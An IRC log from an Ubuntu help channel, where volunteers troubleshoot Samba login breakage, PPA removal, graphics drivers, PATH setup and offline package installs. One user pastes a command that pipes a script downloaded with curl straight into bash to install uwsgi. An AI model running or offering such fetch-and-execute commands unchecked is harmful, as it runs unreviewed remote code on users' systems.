| vinceableworld | okay finally in the folder with this install.sh script | 02:17 |
| vinceableworld | how do I give it permission to execute? | 02:17 |
| dr_willis_ | chmod +x filename | 02:17 |

| dr_willis_ | I thought Lubuntu would fit on a 700mb cd. | 02:18 |
| dr_willis_ | with room to spare. ;) | 02:18 |
| vinceableworld | okay did that now I want to run install.sh | 02:18 |
| vinceableworld | It should just install now right? | 02:19 |
| dr_willis_ | ./install.sh | 02:19 |
| [1]Roach | ok | 02:19 |
| dr_willis_ | I havve no idea what you are installing. ;) | 02:19 |
| vinceableworld | with the period in front? | 02:19 |
| vinceableworld | It's all good :) | 02:19 |

| dhyana | oh | 02:33 |
| FlashSoul | Hi. So I was messing around with Samba, trying to share a drive for everyone in the network without restriction. Anyway, I changed /etc/samba/smb.conf into something like that (https://www.samba.org/samba/docs/man/Samba3-HOWTO/StandAloneServer.html#simplynice), rebooted and now... I can't login anymore on Ubuntu on any passworded account. Please help me! | 02:33 |
| dhyana | hey Nothing_Much just wait then | 02:33 |
| Nothing_Much | yeah it's no biggie | 02:33 |
| dre101 | i would like to map my pause key to run a shell script when it is press | 02:33 |
| dhyana | ok | 02:34 |
| dr_willis_ | FlashSoul: i dont see how smb.conf could affect that. You coulld use the recovery mode. or live cd to restore the file/renameit - IF you think thats file is the cause. | 02:34 |
| dhyana | Nothing_Much, try out ##paradisecafe | 02:35 |
| dhyana | come and relax | 02:35 |
| dhyana | :) | 02:35 |
| dre101 | dr-willis i would like to map my pause key to run a shell script when it is press | 02:35 |
| dr_willis_ | dre101: i suggest asking in #bash im not sure thats possible. but there may be tools to allow it that ive never used | 02:35 |
| FlashSoul | I don't really see how it could be anything else since I did nothing else than that. On recovery mode, I'm kinda stuck since I'm being told the file system is in read-only mode and I can't change anything :/. | 02:35 |
| dr_willis_ | FlashSoul: you remount it in read/write mode | 02:36 |
| dr_willis_ | i forget the command how. ;) i thought the recovery menus had an item for that | 02:36 |
| FlashSoul | Ah. I'll search try that. Thanks. | 02:36 |
| FlashSoul | search and* | 02:36 |
| dr_willis_ | i dont see how the smb.conf can affect your user loggin in. | 02:37 |
| dr_willis_ | unless you goofed with their passwords as well | 02:37 |
| delinquentme | curl http://uwsgi.it/install | bash -s default /tmp/uwsgi | 02:37 |
| FlashSoul | I figured the "passdb backend = guest" might have had influence on more than samba | 02:37 |
| Fudus | if it is mounted read only it sounds like a hd problem? | 02:37 |
| RudyValencia | never mind | 02:37 |
| delinquentme | what does the part after "bash" do? | 02:37 |
| RudyValencia | somehow X got removedf | 02:38 |
| RudyValencia | *removed | 02:38 |
| dr_willis_ | Fudus: REcocvery mode mounts / read only by default | 02:38 |
| Fudus | or that heh | 02:38 |
| john234 | #join irc.freenode.net | 02:40 |
| dr_willis_ | john234: you join channels like /join #freenode | 02:41 |
| dr_willis_ | you connect to servers ;) | 02:41 |
| Fudus | trying out firefox, webapps seem really buggy. the reddit one shows current karma instead of unread in inbox | 02:43 |
| BonesFM | I added the wrong ppa trying to install wine1.7, now I'm getting broken package errors. How would I go about fixing this? | 02:43 |
| somsip | !purgeppa | BonesFM | 02:44 |
| === AndresSM_away is now known as AndresSM | ||
| somsip | !ppapurge | BonesFM | 02:44 |
| ubottu | BonesFM: To disable a PPA from your sources and revert your packages back to default Ubuntu packages, install ppa-purge and use the command: « sudo ppa-purge ppa:<repository-name>/<subdirectory> » – For more information, see http://www.webupd8.org/2009/12/remove-ppa-repositories-via-command.html | 02:44 |
| dr_willis_ | Fudus: i find webapps a neat idea. but dont seem to work very well. when they do worl | 02:44 |
| FlashSoul | dr_willis_ : In my previous searches, I found that samba could break login because of libpam-smbpass, btw. Also, while it only shows "Incorrect password" (or something like this) in graphic mode, the behaviour is different in console mode. When I type a wrong password, it tells me "Login incorrect". When I type the right password, the screen clears and it asks me to login again as if nothing | 02:45 |
| FlashSoul | has happened. | 02:45 |
| FlashSoul | Which shows it can tell my password is right, but something breaks during the login. | 02:46 |
| Fudus | i am boring and go to software & sources and remove the ppa instead | 02:46 |
| dr_willis_ | FlashSoul: all ive done to get samba going was sudo apt-get install samba. then edit the smb.conf ;) but ive never had to mess with pam. Now PAM - could break things I imagine. ;) | 02:46 |
| FlashSoul | The recommended solution I found to this problem was to do "dpkg --purge libpam-smbpass" in recovery mode but I had no luck with that thanks to the read-only issue which I'm gonna fix right away | 02:46 |
| dr_willis_ | FlashSoul: a live cd and chroot might also let you do it. but it would be easier to remount r/w | 02:47 |
| BonesFM | ppa-purge is not on synaptic, and that is the only way I know of to install correctly. | 02:49 |
| BonesFM | I downloaded the .deb file but don't know what to do with it | 02:50 |
| dr_willis_ | you need a ppa to instgall ppa-purge | 02:50 |
| dr_willis_ | sudo dpkg -i foo.deb | 02:50 |
| dr_willis_ | or sudo gdebi foo.deb | 02:50 |
| BonesFM | file not found | 02:51 |
| dr_willis_ | whats the exact command you are using? 'file not found' tells us very little | 02:52 |
| dr_willis_ | other then that you may be making a typo :) or wrong path | 02:52 |
| BonesFM | I tried both of the commands you gave me | 02:52 |
| OerHeks | ppa-purge is in the 12.04/13.04 repos | 02:52 |
| dr_willis_ | whats the EXACT commmand you used? | 02:52 |
| dr_willis_ | !find ppa-purge | 02:52 |
| ubottu | Found: ppa-purge | 02:52 |
| dr_willis_ | !info ppa-purge | 02:52 |
| ubottu | ppa-purge (source: ppa-purge): disables a PPA and reverts to official packages. In component universe, is optional. Version 0.2.8+bzr57 (raring), package size 5 kB, installed size 44 kB | 02:52 |
| BonesFM | sudo dpkg -i foo.deb | 02:53 |
| dr_willis_ | BonesFM: and. foo.deb was an EXAMPLE name... | 02:53 |
| dr_willis_ | Ihave NOidea what filename you downloaded | 02:53 |
| ObrienDave | don't ya love it? | 02:53 |
| dr_willis_ | dosent any one use foo/bar for example names any mpre ;_) | 02:54 |
| BonesFM | aparently not >.< | 02:54 |
| Fudus | double clicking the deb should bring it up in software centre, and you can click the install button | 02:54 |
| BonesFM | okay, thank you Fundus | 02:54 |
| dr_willis_ | heh - by the time software cente rloads - i normally can have it installed with gdebi | 02:54 |
| Fudus | gdebi is not installed by default though ;) | 02:55 |
| Fudus | in 13 at least | 02:55 |
| ObrienDave | and I got laughed at here for recommending gdebi | 02:55 |
| dr_willis_ | gdebi does a fine job. | 02:55 |
| ObrienDave | yes, i know | 02:55 |
| dr_willis_ | if you are on a cli only system. I dont know of any other cli tools that pull in all needed deps.. other then resorting to apt-get -f and hoping it works | 02:56 |
| Fudus | i'm really looking forwards to the unity8 version of software centre when they change over to QT :P | 02:56 |
| dr_willis_ | i honestly rarely if ever use software center. I find it annoying to see so many $$ comercial apps like i always see in the android market | 02:57 |
| Fudus | hopefully it will be faster when in js/c++ rather than current python :( | 02:57 |
| ObrienDave | somebody here jumped my butt for suggesting someone use 'grub customizer'. "We don't support PPAs here". I thought this channel was about helping people to get things to work | 02:58 |
| boeyc | hi, dual booted with linux on top and went for the tutorials that included using BDEplayer. Everything dual boots but if i choose any ubuntu options it just sticks at a blinking cursor. i followed the necessary steps to have 2 copies on 1 hd | 02:58 |
| boeyc | easyBCD** correction | 03:00 |
| FlashSoul | YES! "dpkg --purge libpam-smbpass" worked. Who would have thought changing a samba config file could cause so much trouble. | 03:01 |
| wilee-nilee | boeyc, mmm a third bootloader, grub works fine. | 03:01 |
| GeekDude | encrypted SSH? The SSH client I'm using keeps complaining that the connection isn't encrypted | 03:02 |
| GeekDude | Phrased as a question: How do I set up an encrypted SSH connection? | 03:02 |
| Fudus | ssh is already encrypted, it is what the first s is about | 03:04 |
| Fudus | so a config error in the prog you're trying to run | 03:04 |
| dr_willis_ | FlashSoul: im not sure how that package would alter the amba config file. ;) but im only on a home lan. so my needs are trivial | 03:04 |
| GeekDude | oooh... sill me. Fudus: I was confusing my VNC client with my SSH client. VNC keeps complaining about it being unencrypted. Any idea how to set up encrypted VNC? (I've heard you can do some kind of VNC over SSH system) | 03:05 |
| reisio | GeekDude: right | 03:06 |
| jrib | !vnc | GeekDude | 03:06 |
| ubottu | GeekDude: VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely. It works best over fast connections, otherwise look at !FreeNX | 03:06 |
| FlashSoul | dr_willis_ : Same. I'm a newbie on that thing. I just started reading on it. I want this ubuntu desktop to share a drive with the windows computers on LAN without authentication. | 03:06 |

| al_la | looking for help... installed fglrx-amdcccle (it also added fglrx and 2 other packages). I rebooted, unity crashes, other UI issues, I purge fglrx-amdcccle and it only purges the 1 package, not the other 3. I reboot again and graphics still messed up with no unity. Running 'sudo lshw -c Video' I can't tell which driver it's using (not radeon like it used to, not fglrx), it just says VGA compatible controller. Thoughts on how to recover h | 03:21 |

| === bill is now known as Bill_ | ||

| === honey is now known as Guest71691 | ||
| al_la | dr_willis: login screen works and displays correctly, but at much lower resolution, so some configuration has changed. No xorg.conf ... as an aside, I just went to tty2 then back to graphics and it looks like it dropped me to 256 colors, and text is almost unreadable | 03:25 |
| FlashSoul | al_la : See "Revert back to the open source drivers" there : http://askubuntu.com/questions/74171/is-my-ati-graphics-card-supported-in-ubuntu | 03:25 |
| FlashSoul | It helped me when I had this problem, at least. | 03:25 |
| dr_willis_ | al_la: Hmm. Im out of ideas then. I rarely use ati either. askubuntu to the rescue ;) we hope | 03:26 |
| al_la | firefox is unusable ... going to try removing the other 3 packages and rebooting and see what happens ... hopefully I'll be back. | 03:28 |
| FlashSoul | Ah. I thought he had another computer to browse. | 03:29 |
| al_la | update: removed all packages associated with fglrx-amdcccle, on reboot graphics appear normal except that unity does not start or is not displayed. thoughts on how to bring back to stock ubuntu drivers? whoever posted the link a minute ago, I couldn't read your name, do you mind posting again? | 03:32 |

| al_la | question: I tried fglrx, big fail, uninstalled and am back on open source drivers, but now Unity won't start ... login screen works, my control+alt+t works to start terminal so I can launch programs and whatnot, but there is no UI. thoughts? | 03:48 |
| dr_willis_ | unity/compiz needs 3d driveers so can break easially. You might want to install a lighter 2d only desktop untill you can get it fixed. Like xubuntu lubuntu (xfce/lxde) | 03:49 |
| dr_willis_ | compiz fails due to 3d/gl drivr issues.. thst means unity is also dead. ;( | 03:49 |
| al_la | I'm back on the previous drivers that supported 3d/gl according to lshw -C video | 03:51 |
| dr_willis_ | you caan run 'compiz --replace' from a terminal and see if any erorrs appear i guess. | 03:51 |

| almostworking | there is some nice customizing ppas for unity , ubuntu tweak is what i use. | 04:08 |

| raving | I remember reading that kernel 3.9.4 and up also support this a bit better, but I'll try bumblebee first | 04:11 |

| Fudus | what is wrong with lenovo? | 04:32 |
| [1]Roach | I have tried using a CD, DVD, and usb and when it is loads the screen goes black like it is off | 04:32 |
| dr_willis_ | they are not living up to their old Reputation. ;) | 04:32 |
| raving | Fudus, for the most part, nothing; thinkpads are pretty good hardware | 04:32 |

| raving | I just know that IBM has been involved with Linux for a long time now and might've ironed out some of the weird hiccups in the newer hardware | 04:33 |
| raving | I'm thankful lenovo at least didn't stick a broadcom card in here for my wireless | 04:34 |
| raving | BRB, gotta reboot | 04:35 |
| [1]Roach | I'm about to switch to ASUS I use to boot a couple of distros off of it | 04:35 |
| raving | [1] I haven't been disasatisfied with ASUS, ever | 04:35 |
| raving | Err, disatisfied | 04:36 |
| Fudus | [1]Roach: it is has to do with acpi, try unplugging it from the mains until it is in the log in screen, then you can plug it in | 04:36 |
| kostkon | asus sells ubuntu laptops in some markets | 04:36 |
| Fudus | raving: the amount of junk they preinstall isn't very nice though | 04:36 |
| raving | kostkon, that's good to know | 04:36 |
| [1]Roach | I had 3 of the x series with windows 8 and they crashed | 04:36 |
| kostkon | raving: yeap | 04:37 |
| raving | Fudus, well I suppose my only experience I with asus is with their motherboards | 04:37 |
| raving | I'm considering asrock this time around though | 04:37 |
| Fudus | the windows notification area full of icons and mcafee nagware | 04:37 |
| raving | I'm still very confused about which motherboards are safe because of the secure boot thing | 04:37 |
| Fudus | the latest ubuntu come with signed kernels, so it shouldn't be an issue | 04:38 |
| raving | Eh, it's the principal of the matter | 04:38 |
| raving | Secure boot should've always been advisory | 04:38 |
| Fudus | google does the same thing with their chromebooks, signed kernels, so linux does it too | 04:39 |
| raving | Fudus, well rather, I imagine specific vendors do it | 04:39 |
| Fudus | you have to disable it in chromeos somewhere | 04:39 |
| Fudus | it is mandated from Google to stop malware, which is the same reason Microsoft gave | 04:40 |
| raving | Fudus, well I don't mind having the option of course, I'd just like to be able to turn it off when I'm building my own rig, haha | 04:40 |
| Fudus | they all have that ability | 04:40 |
| raving | Well that's good to know | 04:41 |
| Fudus | probably hidden deep in bios though :P | 04:41 |
| mohanad | hi | 04:41 |
| raving | I'ev purposefully kept myself from upgrading for the past 6 years because I was worried about that | 04:41 |
| raving | It probably sounds excessively paranoid but a new rig is a big investment | 04:42 |
| raving | And I keep windows around largely to code against WinAPI, nothing more | 04:42 |
| [1]Roach | I can't find an asus x501a preinstalled with Ubuntu | 04:43 |
| raving | Fudus, I know when that was a big issue MS made a point to make the ability to disable secure boot or to modify the keyring part of the Win8 certification for x86 | 04:43 |
| raving | Sadly as I understand it they take the opposite approach with their Win8 certified ARM hardware | 04:44 |
| raving | Anyway, i will go ahead and reboot now | 04:46 |

| Codex_ | https://github.com/jasmineaura/mate-globalmenu | 04:55 |
| Codex_ | it is a universal menu for MATE | 04:56 |
| exported | Codex_, which mint version are you using? or did you install mate on ubuntu? | 04:56 |
| Fudus | you should try the mate channel instead | 04:57 |
| Codex_ | is there a MATE channel? | 04:57 |
| dr_willis_ | !alis | 04:57 |
| ubottu | alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu* or /msg alis list *http* | 04:57 |
| Codex_ | I installed mate on ubuntu 12.04.3 | 04:57 |
| Fudus | it isn't supported by ubuntu anyhow | 04:58 |
| exported | Codex_, says on the link you posted that it only works on 12.10 | 04:58 |
| exported | Fudus, it works on ubuntu 12.10 and mint 14 and also lmde | 04:58 |

| FlashSoul | [23:18:26] <dr_willis_> FlashSoul: Hmm. I just setup guest shares.. :) if i dont want authincation | 05:05 |
| FlashSoul | Do you do it directly through the config file? | 05:06 |
| Soen | help with connecting to wifi without wlan0 pleasE? | 05:06 |
| FlashSoul | I've been trying several ways and I can't seem to achieve my goal. | 05:06 |
| dr_willis_ | FlashSoul: i recall right clicking on a dir as a user. and making guest shares. or i edit the smb.conf | 05:07 |
| dr_willis_ | FlashSoul: all ive really done for ages/ | 05:07 |
| dr_willis_ | clients can connect as the user 'guest' no password and get to things i recall | 05:07 |
| dr_willis_ | xbmc is what i mainly use it for. to get to videos | 05:08 |
| FlashSoul | Oh. I thought you could do it without specifying a username. | 05:09 |
| FlashSoul | Thanks. | 05:09 |
| dr_willis_ | all the clients ive everf seen defailt to guest | 05:09 |
| dr_willis_ | samba can even remap to the guest user i belive in the smb.conf for unknown users | 05:09 |
| dr_willis_ | so what are you connectong too the shares with? | 05:10 |
| FlashSoul | I want my windows computers to be able to access it as simply as possible... with the windows explorer | 05:11 |
| dr_willis_ | and windows will default to trying the logged in users name by default | 05:11 |
| dr_willis_ | you can have samba remap unknown users to 'guest' i recall. | 05:11 |
| Alen0000 | Hi All, I have an issue/bug with Ubuntu 13.10, that works fine in 13.04. 4G modem (aircard 320u) does not connect to the provider, only to the GSM network. I also get a modem-manager crash with SIGABRT in g_assertion_message(), that may be related. What should I do now? What info would be required for a bug report? | 05:11 |
| FlashSoul | Which works fine when the account/password from the win session fits a user/password on the samba server | 05:12 |
| dr_willis_ | You may want to check in #samba the samba-doc book i learned from is in the repos. bu tis a bit dated | 05:12 |
| dr_willis_ | !info samba-doc | 05:12 |
| ubottu | samba-doc (source: samba): Samba documentation. In component main, is optional. Version 2:3.6.9-1ubuntu1 (raring), package size 5615 kB, installed size 13734 kB | 05:12 |
| dr_willis_ | samba can remap the user name - I seem to recall. | 05:12 |
| FlashSoul | Ah. What I read might have been dated yeah... since it doesn't work. | 05:13 |
| dr_willis_ | or the user just types in 'guest' when the server asks for a username | 05:14 |
| FlashSoul | Windows Explorer doesn't ask for a username though; it just states the connection was refused. Maybe I didn't manage to make it work even with "guest" though.. I'll try with another program and this credential I guess | 05:15 |
| dr_willis_ | ive definatly seen windows ask | 05:15 |
| dr_willis_ | askubuntu.com may have some info/ideas on this also | 05:16 |
| dr_willis_ | im on my phone so cant search very well | 05:16 |
| dik | i was logdin in sever via ssh. following error came : Write failed: Broken pipe and my working directory in server got deleted | 05:20 |
| dr_willis_ | FlashSoul: seems the setting i am thinking of in smb.conf [global] area is map to guest = bad user | 05:23 |
| FlashSoul | I already use it. | 05:23 |
| dr_willis_ | thats all i ever recall using. but these daysi use dlna/upnp to share videos mainly so havent messed with samba in about a year+ | 05:24 |
| dr_willis_ | dont forget the 'guest ok = yes' | 05:24 |
| FlashSoul | Yeah thanks. I'll go seek help in #samba I think | 05:24 |
| dr_willis_ | on the shares. ;) | 05:24 |

| Ofek | like apt-get | 05:50 |
| qin | Oh, I have new gray hair, you still molesting Whonix, Ofek? | 05:50 |
| Codex_ | so a package manager? | 05:50 |

| Ofek | apt-get only has v3 | 05:59 |
| qin | Ofek: 3.1 raring to be precise | 06:01 |
| Ofek | I have a question | 06:01 |
| Ofek | I'm in /usr/pkgsrc/wip/proxychains | 06:02 |
| Ofek | did bmake install | 06:02 |
| k-joseph | hi, guys, i yesturday manually installed tomcat7 and yet i had installed tomcat6 via package manage, on ubuntu 12.04 LTS and now starting my pc is failing, when i enter the password, it restarts automatically, is this the cause? | 06:03 |
| Ofek | it finished, but when I type proxychains | 06:03 |
| Ofek | The program 'proxychains' is currently not installed. You can install it by typing: apt-get install proxychains proxychains: command not found | 06:03 |
| dr_willis_ | k-joseph: you mean you login at the lighdm screen - it returns to the lightdm screen? can you login at the console? | 06:04 |
| Ofek | bmake install succeeded though | 06:04 |
| dr_willis_ | Ofek: use a proper path to the binary. | 06:04 |
| dr_willis_ | ./whatever | 06:04 |
| Ofek | oh ok | 06:04 |
| dr_willis_ | the current directory is NOt in your default PATH | 06:04 |
| k-joseph | dr_willis_: thanks for replying, i will try it out, yet when i login, it returns the login screen again | 06:05 |
| dr_willis_ | k-joseph: login at the console. see if that works | 06:05 |
| qin | Ofek: still I do not really understang why you would not install Ubuntu, tor, proxychains, vpn, etc.. to make yours life easy? | 06:05 |
| Ofek | there a way to bind the path to simply 'proxychains'? | 06:06 |
| dr_willis_ | Ofek: set your default path. or install it to somewhere in your path | 06:06 |
| dr_willis_ | or make an alias | 06:06 |
| dr_willis_ | or script | 06:06 |
| Ofek | so, in home/user I should have installed it? | 06:07 |
| Fudus | or just dump it all in /usr/local/bin :P | 06:07 |
| k-joseph | dr_willis_: dr_willis_: what is the cause of such an issue, if not what i was thinking, am soon going to login at console :) | 06:07 |
| dr_willis_ | your /home/username/bin directory WILL get added to your default path - IF it exists when you login | 06:07 |
| Fudus | orly, didn't know that | 06:08 |
| dr_willis_ | old skool stuff ;) | 06:08 |
| Ofek | oops | 06:10 |
| Ofek | in /home/user there is no bin | 06:10 |
| === ekrem is now known as Guest87660 | ||
| dr_willis_ | Ofek: IF it exits. | 06:11 |
| dr_willis_ | make one | 06:11 |

| Fudus | (make it in nautilus) | 06:11 |
| dr_willis_ | no... IF /home/yourusername/bin exists it will get added to your default bash PATH | 06:11 |
| dr_willis_ | when you login | 06:11 |
| dr_willis_ | thats how users can havve custome binaries | 06:12 |
| dr_willis_ | no need to mess with system directories | 06:12 |
| Ofek | I have no bin in /home/user | 06:12 |
| dr_willis_ | Ofek: so... MAKE the directory | 06:12 |
| Ofek | oooooh | 06:13 |
| Fudus | right click, new folder, bin, enter | 06:13 |

| Ben64 | ~/bin isn't in the PATH until you restart | 06:18 |
| Ben64 | and the executable would need to be there, not a folder | 06:18 |
| Ofek | does it matter where other files are? | 06:19 |
| Fudus | wouldn't relogging in be enough? | 06:19 |
| Ben64 | Fudus: maybe | 06:19 |
| Fudus | you'll need to set it to executable, which you can in properties in nautilus, the file will need to be in the bin folder | 06:20 |
| dr_willis_ | or make a link from it to the proper binary in the source directoruy. or make a bash alias.. | 06:20 |
| dr_willis_ | or make a script. | 06:20 |
| KI7MT | ln -s and chmod +x easy way | 06:21 |
| Ben64 | i wasn't here earlier... why not just install it with apt-get ? | 06:21 |
| Ofek | so I just move the binary to the /home/user/bin folder from installation folder? | 06:21 |
| dr_willis_ | he compil,ed it | 06:21 |
| qin | Ben64: He is on Whonix | 06:21 |
| dr_willis_ | Ofek: what isyour users name? you are using that users name right? | 06:21 |
| Ofek | apt-get has outdated version | 06:21 |
| Ofek | user | 06:21 |
| Ben64 | well thats not supported here | 06:21 |
| KI7MT | did he --prefix/usr/local ? | 06:21 |
| dr_willis_ | your users name is 'user' ? how weird | 06:22 |
| Ofek | yes | 06:22 |
| wylde | wouldn't 'sudo make install' install it in the proper directories? | 06:22 |
| KI7MT | --prefix=/usr/local .. .. .. | 06:22 |
| Ofek | I thought but it didnt | 06:22 |
| dwarder | zip error: Invalid command arguments (short option 'Q' not supported) | 06:23 |
| dwarder | how do i fix this? | 06:23 |
| KI7MT | If your not up to speed on ./cionfigure && make && make install ... I'd recomend using checkinstall app. make "un"-installing easy. | 06:23 |
| dwarder | same with GUI version | 06:23 |
| Ben64 | whonix isn't supported here, installing stuff manually isn't either. i don't see why this is even in #ubuntu | 06:23 |
| dwarder | this option (file names encription) is greyed out | 06:23 |
| Ben64 | dwarder: might help if you explain what you're doing | 06:24 |
| dwarder | am i need to install something? | 06:24 |
| dwarder | Ben64: i need to encript file names in my zip archive | 06:24 |
| KI7MT | Nive how too here: https://help.ubuntu.com/community/CompilingEasyHowTo | 06:24 |
| KI7MT | Nice .. | 06:24 |
| dr_willis_ | dwarder: you are extracting an archive? | 06:24 |
| Fudus | Ofek: if you're compiling from source, make install will set it up for you, i thought it was a script | 06:25 |
| dwarder | dr_willis_: i am creating one | 06:25 |
| dwarder | dr_willis_: at least trying to | 06:25 |
| Ben64 | dwarder: like give us the full command and error in a pastebin | 06:25 |
| dr_willis_ | could b e not all options are supported. | 06:25 |
| dwarder | Ben64: zip error: Invalid command arguments (short option 'Q' not supported) with this command: zip -Q0 -Pmypasss file.zip files | 06:25 |
| Ofek | whats the difference between bmake & make? | 06:26 |
| qin | Fudus: He is trying his forces with pkgsrc on Whonix | 06:26 |
| Ben64 | Ofek: whonix is not supported here, sorry | 06:26 |
| dr_willis_ | never even heard of whonix. | 06:26 |
| Ben64 | i had to google it. its debian based, not even an ubuntu derivative | 06:26 |
| Ofek | not asking about anything Whonix related | 06:27 |
| qin | Ofek: Latest Ubuntu package you are after, install Ubuntu and use apt-get: http://packages.ubuntu.com/raring/proxychains | 06:27 |
| Ben64 | Ofek: there is a #linux channel for general linux stuff | 06:27 |
| Ben64 | #ubuntu is for ubuntu support only | 06:27 |
| Fudus | the packages are old, he wants to compile it from source to install i think | 06:27 |
| Ofek | just wondering... | 06:28 |
| Ofek | whats the difference between bmake & make? | 06:28 |
| Ofek | then I'll leave lol | 06:28 |
| Ben64 | look at the man pages | 06:28 |
| KI7MT | bmake v.s. make could be an all day discussion :-) | 06:29 |
| Fudus | it is another version of make like cmake i assume | 06:29 |
| qin | Fudus: It is one of the latest. 3.1-5 | 06:29 |
| ObrienDave | Ofek, careful, you'll irritate the "that's not supported here" police LOL | 06:29 |

| duoi | hi all | 06:30 |
| duoi | i want to utilize both sound ports on my PC (ie green+blue) to get some sort of quadraphonic sound going but I cant find any setting to enable it, any ideas? | 06:31 |
| Ben64 | dwarder: well... zip doesn't appear to have a -Q option | 06:31 |
| qin | helloooo: One more crappy spam on pm please. | 06:31 |
| reisio | it's for DOS | 06:32 |
| reisio | since zip is cross-platform, it has some platform-specific switches | 06:32 |
| KI7MT | zip has a -q option, not a -Q option. | 06:32 |
| KI7MT | -q = quiet | 06:33 |
| ObrienDave | duoi, i think one of those "ports" is for a microphone | 06:33 |
| reisio | KI7MT: it has both, but I wouldn't be surprised if Ubuntu stripped the -Q, as it won't work anyways | 06:33 |
| duoi | ObrienDave: the microphone has a dedicated 'pink' colored input | 06:34 |
| ObrienDave | ok, wasn't sure | 06:34 |
| duoi | ObrienDave: yep, this is what it looks like for reference: http://www.learning-about-computers.com/tutorials/images/audio_ports.jpg | 06:35 |
| KI7MT | Hmm I stand corrected, never used -Qn before .. | 06:36 |
| jajau | who have some expirience with mysql cluster ? | 06:38 |
| reisio | various people | 06:38 |
| ObrienDave | duoi, ok, looks like the top (blue) is for line in. | 06:39 |

| coolot | Hi people. ubuntu newbie here. can you please help me about this error "failed to retrieve share list from server"? i am only using an ethernet cable. i have no modem nor router. i already installed samba (sudo apt-get install samba) at smb client (sudo apt-get install smbclient) on both desktop and netbook machines | 07:06 |
| ObrienDave | coolot, that might be a problem on the server end. wait a bit and try again | 07:08 |
| wachpwnski | hello | 07:08 |
| wachpwnski | So I got my HDMI audio device to be recognized with doing this: https://wiki.ubuntu.com/Audio/UpgradingAlsa/DKMS | 07:09 |
| coolot | ObrienDave : which will be the server? the desktop or the netbook? sorry for the dumb question. i am very new ubuntu/linuz user | 07:09 |
| wachpwnski | But the audio that comes out of it is really scratchy | 07:10 |
| coolot | ObrienDave : i also ran findsmb on both machines and my netbook is showing that the desktop's ip address but when i ran it on desktop itis showing only its own ip address not with the netbook machine | 07:11 |
| clue_h | !gnome-panel | 07:12 |
| ObrienDave | coolot, are you using a crossover cable? | 07:13 |
| coolot | ObrienDave : i think so. i pinged both ip addresses and it was successful | 07:14 |
| moorvogi | quit | 07:14 |
| moorvogi | part | 07:14 |
| moorvogi | bahh | 07:14 |
| coolot | ObrienDave : Desktop's ip address is 10.0.0.1 and netbook's is 10.0.0.2 both have 255.255.255.0 | 07:16 |
| ObrienDave | dang, sorry, I don't know a thing about samba | 07:17 |
| coolot | thank you for trying | 07:17 |
| FlashSoul | Out of curiosity, how do your computers know eachother? You have no router, is one of them running a DHCP server? | 07:18 |
| ObrienDave | let me ask if this is the same cable you use to connect to a router? | 07:19 |
| coolot | FlashSoul : i am just using an ethernet cable. i got it from a modem to lan card connection | 07:20 |
| coolot | and i am not sure if i already configured my DHCP and i don't know how to answer which of them is the DHCP server | 07:21 |
| coolot | ObrienDave : i got it from a modem to lan card connection | 07:21 |
| coolot | and i think it works find because both machines can ping each other successfully | 07:22 |
| ObrienDave | if you're only using an ethernet cable to connect 2 comps, it MUST be a crossover cable | 07:22 |

| vlitomsk | Hi everybody! Yesterday I had such problem: all windows became 'frozen', there was 'ls: command not found' in terminal.

| Haunt_House | hi, how do I efficiently install a package without internet connection? samba is broken, so my desire to transfer one file at a time per usb stick is somewhat limited. Is there a way to get a list of needed dependencies? | 07:39 |
| bazhang | Haunt_House, packages.ubuntu.com | 07:40 |
| bazhang | Haunt_House, or use aptoncd | 07:40 |
| KI7MT | vlitomsk, it probably caused some sort of kernel-panic and defaulted to single user mode, dmesg is a goo place to look fer the possible cause | 07:40 |
| ivotkl | Haunt_House: Perhaps the following link helps: http://askubuntu.com/questions/128524/how-to-list-package-dependees-reverse-dependencies .- | 07:40 |
| bazhang | !aptoncd | Haunt_House | 07:40 |
| ubottu | Haunt_House: APTonCD is a tool with a graphical interface which allows you to create one or more CDs or DVDs with all of the packages you've downloaded via apt-get or aptitude, creating a removable repository that you can use on other computers - See also !offline | 07:40 |
| bazhang | vlitomsk, did you mean low graphics mode, and unity fails to launch? that would be a graphics card driver issue then | 07:41 |
| Haunt_House | ubottu: nice, but since I don't have installed dependencies for that machine, it won't work. ivotkl sounds like the right track | 07:42 |
| ubottu | Haunt_House: I am only a bot, please don't think I'm intelligent :) | 07:42 |
| ivotkl | LOL | 07:42 |
| vlitomsk | bazhang, i've disabled lightdm half year before | 07:42 |
| Haunt_House | ok, I won't | 07:42 |
| vlitomsk | bazhang, i see it in TTY console. It proposes me to enter root password | 07:42 |
| bazhang | vlitomsk, thats not right. there is no root pw enabled, unless you did it intentionally | 07:43 |
| KI7MT | Haunt_House, You could do a build-dep --download-only, then xfer to the box with the issue. | 07:43 |
| vlitomsk | bazhang, I always set root password after installation | 07:43 |
| Kartagis | do you guys know of a broken link checker that can work behind a CAS? | 07:44 |
| bazhang | vlitomsk, thats a huge mistake right there | 07:44 |
| KI7MT | yep .... root can cause issues unless you know exactly what your doing. | 07:44 |
| vlitomsk | bazhang, why? Ubuntu worked fine with set root password | 07:44 |
| bazhang | vlitomsk, sounds like you are having big issues now, never set the root pw, use sudo -i for a root shell if you absolutely must | 07:45 |
| Haunt_House | is it possible to download all dependencies of a package in one go? | 07:45 |
| Ben64 | vlitomsk: why even set a root password? it's never necessary | 07:45 |
| Haunt_House | haven't found that so far | 07:45 |

| k-joseph_ | hi guys, i have been here already over this issue some time before, when i try login, am returned to the same login page, am running ubuntu 12.04 LTS, i was advised to try console login, i have done this but again when i tried normal login, i faced the same issue, how can i solve this? | 07:50 |
| Haunt_House | KI7MT: last time i tried, it wouldn't open a folder | 07:50 |
| Ben64 | k-joseph_: try logging in as guest | 07:51 |
| === Guest37964 is now known as zokko | ||
| Haunt_House | and I'm no network guru, so ssh means nothing to me yet | 07:51 |
| Ben64 | !ssh | 07:51 |
| ubottu | SSH is the Secure SHell protocol, see: https://help.ubuntu.com/community/SSH for client usage. PuTTY is an SSH client for Windows; see: http://www.chiark.greenend.org.uk/~sgtatham/putty/ for it's homepage. See also !scp (Secure CoPy) and !sshd (Secure SHell Daemon) | 07:51 |

| Haunt_House | is that pre installed on 12.04? | 07:53 |
| Haunt_House | isn't there a simple commandline parameter to list missing packages? | 07:56 |
| KI7MT | Haunt_House, apt-rdepends --build-depends <package-Name> | 07:57 |
| Haunt_House | thanks | 07:57 |
| KI7MT | Haunt_House, or better yet: apt-rdepends --build-depends --print-state openoffice.org | grep <package-name> | 07:58 |
